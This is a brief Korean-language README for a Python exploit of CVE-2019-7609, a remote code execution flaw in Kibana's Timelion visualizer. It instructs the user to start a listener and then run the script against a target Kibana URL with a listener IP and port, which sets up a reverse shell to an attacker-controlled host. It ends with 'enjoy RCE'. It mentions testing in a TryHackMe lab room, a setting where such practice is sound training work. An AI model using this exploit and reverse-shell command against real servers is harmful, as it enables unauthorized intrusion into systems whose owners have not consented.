CVE-2019-7609

python3.6+로 작성된 CVE-2019-7609 익스플로잇으로, LandGrey의 코드를 기반으로 합니다.

CVE-2019-7609: Timelion 시각화 도구에서 Kibana 5.6.15 이전 버전 및 6.6.0 이전 버전에 존재하는 RCE 취약점입니다.

사용법

1. 리스너를 시작합니다
2. 대상 URL(kiba 서버의 기본 URL), 리스너 호스트 주소 및 리스너 포트를 인자로 하여 익스플로잇을 실행합니다

./cve-2019-7609.py http://<target>:5601 <listener-ip> <listener-port>

3. RCE를 즐기세요

예시

TryHackme의 Kiba 룸에서 테스트되었습니다